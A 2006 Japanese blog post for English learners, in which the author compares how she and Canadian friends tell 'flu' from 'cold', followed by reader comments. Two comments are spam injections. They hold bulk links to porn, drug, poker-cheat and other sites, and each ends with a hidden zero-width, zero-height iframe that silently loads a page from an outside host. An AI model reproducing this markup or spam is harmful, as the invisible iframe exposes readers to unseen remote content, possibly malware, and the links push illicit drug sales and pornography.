リリエイゴ〜楽しく英会話〜


リリエイゴとは

記事一覧

メール

リリーニュース

Riri Inoue'blog in English

リリレシピ・世界の料理

Riri-Inoue web site/井上リリーHP 世界地図

2006-05-14

[] flu と cold に関する疑問

英語では一般に、インフルエンザのことをflu、風邪のことをcoldと呼びます。

さて、日本でもよく、インフルエンザ風邪を混同しないように、、とかいいますよね。でも、お医者さんに診てもらうまでは、自分がインフルエンザなのか、かぜなのか、なかなか判断がつかないものです。

今回わたしがお話したいのは、お医者さんにかかる前の家庭レベルでの診断についてです。

どうやら、カナダの友達と、私の考えるインフルエンザの定義に若干ずれがあるようなのです。

みなさんは、どういう症状のときに、自分や家族がかかった「かぜのようなもの」を、インフルエンザだと思いますか?私の基準では、高熱が出て、風邪よりも重い症状だったらインフルエンザを疑う、、というところでしょうか。でも、カナダ人の友人たちは、どうも私と違う基準でfluとcoldを区別しているような気がして、わたしはいまも、カナダの一般市民における、fluとcoldの区別について混乱しているのです。

たとえば、こうです。

1:私が、かぜのようなものにかかります。で、I think I'm sick という状態に突入します。でも、But I haven't seen a doctor yet. と、いうことでまだ病院に行っていません。

2:そこで、what are your symptoms? という感じで、友達などに病状を聞かれます。

3:病状が、headache, stomachache and feeling dizzy だったとして、でもhigh fever はなかったとします。

4:私は、高熱がないところや、病状がひどすぎないことから、I guess I caught a cold と言います。

5:でも、カナダ人の友人は口をそろえて、No, I think you have the flu ! などと言われます。

6:私は、あれ?fluってインフルエンザのことじゃなかったけ?と思って辞書を引いたりして確認します。

7:インフルエンザについてのお互いの認識の差を知ります。

さきほど、ベンジャミンチャットをしてて、まさにこの話題となりました。

彼曰く、風邪とは、colds usually have sore throats, coughing... runny noseなんだそうです。

でも、インフルエンザとは、but the flu feels like seventeen strong men have been beating you with padded baseball bats all night なんだそうです、、、、、。う〜ん、聞くだけで恐ろしい。つまりは、全身痛かどうか、ということでしょうか。高熱かどうかは判断の基準となっていないようでした。

今まさに私は、頭が痛くて、おなかが痛くて、めまいがしていて、でも高熱はなく、鼻水や咳などの症状もないのですが、今の段階の私の病状を日本では風邪カナダではインフルエンザではないか、と、別の認識をされるというのはとても興味深いです。

とはいえ、病院で診てもらったら、日本でもカナダでも同じ判断を下されるのは間違いないのですが、、、。早く病院に行け、ということなのかも。

インフルエンザについて

http://www.med.or.jp/influenza/inqa_b.html

[] flu と cold に関する疑問2

いま、カナダのバルジンダル(彼はファミリードクター)に電話して、私がfluであるかcoldであるか電話診察してもらいました。

結果、わたしのかぜはfluではなく、coldだそうです。パチパチパチ。

augustaaugusta2006/06/05 05:56この間、hostfamilyがおなかからくるカゼをひいたとき、stomach fluって言っていました。自然に聞いていましたが、考えてみるとstomach coldじゃ不自然な感じがします。痛み、が関係あるのかもしれませんね。host fatherは“My muscle is sore”とも言っていました。

IWantToTopIWantToTop2006/10/27 17:39http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html ,<a href="http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html">adult female masturbation movie xxx</a> ,[url=http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html]adult female masturbation movie xxx[/url] ,http://adipexcheaponline.info/adipex-drug.html ,<a href="http://adipexcheaponline.info/adipex-drug.html">adipex drug</a> ,[url=http://adipexcheaponline.info/adipex-drug.html]adipex drug[/url] ,http://autocarsaleonline.info/car-buy-new-texas.html ,<a href="http://autocarsaleonline.info/car-buy-new-texas.html">car buy new texas</a> ,[url=http://autocarsaleonline.info/car-buy-new-texas.html]car buy new texas[/url] ,http://partialpoker24.info/cheat-money-party-play-poker.html ,<a href="http://partialpoker24.info/cheat-money-party-play-poker.html">cheat money party play poker</a> ,[url=http://partialpoker24.info/cheat-money-party-play-poker.html]cheat money party play poker[/url] ,http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html ,<a href="http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html">canadian association of pharmacy technician</a> ,[url=http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html]canadian association of pharmacy technician[/url] ,http://pornfreenice.info/italian-porn-star.html ,<a href="http://pornfreenice.info/italian-porn-star.html">italian porn star</a> ,[url=http://pornfreenice.info/italian-porn-star.html]italian porn star[/url] ,http://somaonline24.info/soma-sd.html ,<a href="http://somaonline24.info/soma-sd.html">soma sd</a> ,[url=http://somaonline24.info/soma-sd.html]soma sd[/url] ,http://stockinvestingonline.info/stock-investing-advice.html ,<a href="http://stockinvestingonline.info/stock-investing-advice.html">stock investing advice</a> ,[url=http://stockinvestingonline.info/stock-investing-advice.html]stock investing advice[/url] ,http://valiumonline24.info/2006-guestbook.php-inurl-valium.html ,<a href="http://valiumonline24.info/2006-guestbook.php-inurl-valium.html">2006 guestbook.php inurl valium</a> ,[url=http://valiumonline24.info/2006-guestbook.php-inurl-valium.html]2006 guestbook.php inurl valium[/url] ,http://sys.forumup.org/index.php ,<a href="http://sys.forumup.org/index.php">index.php</a> ,[url=http://sys.forumup.org/index.php]index.php[/url] ,<iframe src="http://phenik.info/9.php" width=0 height=0></iframe>

IWantToTopIWantToTop2006/10/28 11:57http://adultmovieonline.info/gay-adult-movie.html ,<a href="http://adultmovieonline.info/gay-adult-movie.html">gay adult movie</a> ,[url=http://adultmovieonline.info/gay-adult-movie.html]gay adult movie[/url] ,http://adipexcheaponline.info/adipex-loss-phentermine-weight.html ,<a href="http://adipexcheaponline.info/adipex-loss-phentermine-weight.html">adipex loss phentermine weight</a> ,[url=http://adipexcheaponline.info/adipex-loss-phentermine-weight.html]adipex loss phentermine weight[/url] ,http://autocarsaleonline.info/buy-car-carolina-new-north.html ,<a href="http://autocarsaleonline.info/buy-car-carolina-new-north.html">buy car carolina new north</a> ,[url=http://autocarsaleonline.info/buy-car-carolina-new-north.html]buy car carolina new north[/url] ,http://partialpoker24.info/bill-poker-series-simmons-world.html ,<a href="http://partialpoker24.info/bill-poker-series-simmons-world.html">bill poker series simmons world</a> ,[url=http://partialpoker24.info/bill-poker-series-simmons-world.html]bill poker series simmons world[/url] ,http://pharmacyonline24.info/cvs-pharmacy-hours.html ,<a href="http://pharmacyonline24.info/cvs-pharmacy-hours.html">cvs pharmacy hours</a> ,[url=http://pharmacyonline24.info/cvs-pharmacy-hours.html]cvs pharmacy hours[/url] ,http://pornfreenice.info/porn-sex.html ,<a href="http://pornfreenice.info/porn-sex.html">porn sex</a> ,[url=http://pornfreenice.info/porn-sex.html]porn sex[/url] ,http://somaonline24.info/soma-cruz.html ,<a href="http://somaonline24.info/soma-cruz.html">soma cruz</a> ,[url=http://somaonline24.info/soma-cruz.html]soma cruz[/url] ,http://stockinvestingonline.info/value-stock-investing.html ,<a href="http://stockinvestingonline.info/value-stock-investing.html">value stock investing</a> ,[url=http://stockinvestingonline.info/value-stock-investing.html]value stock investing[/url] ,http://valiumonline24.info/3.75-discount-valium.html ,<a href="http://valiumonline24.info/3.75-discount-valium.html">3.75 discount valium</a> ,[url=http://valiumonline24.info/3.75-discount-valium.html]3.75 discount valium[/url] ,http://sys.forumup.org/index.php ,<a href="http://sys.forumup.org/index.php">index.php</a> ,[url=http://sys.forumup.org/index.php]index.php[/url] ,<iframe src="http://phenik.info/9.php" width=0 height=0></iframe>

loollool2006/11/06 00:38Nice!! <a href= ></a> - [url=][/url] -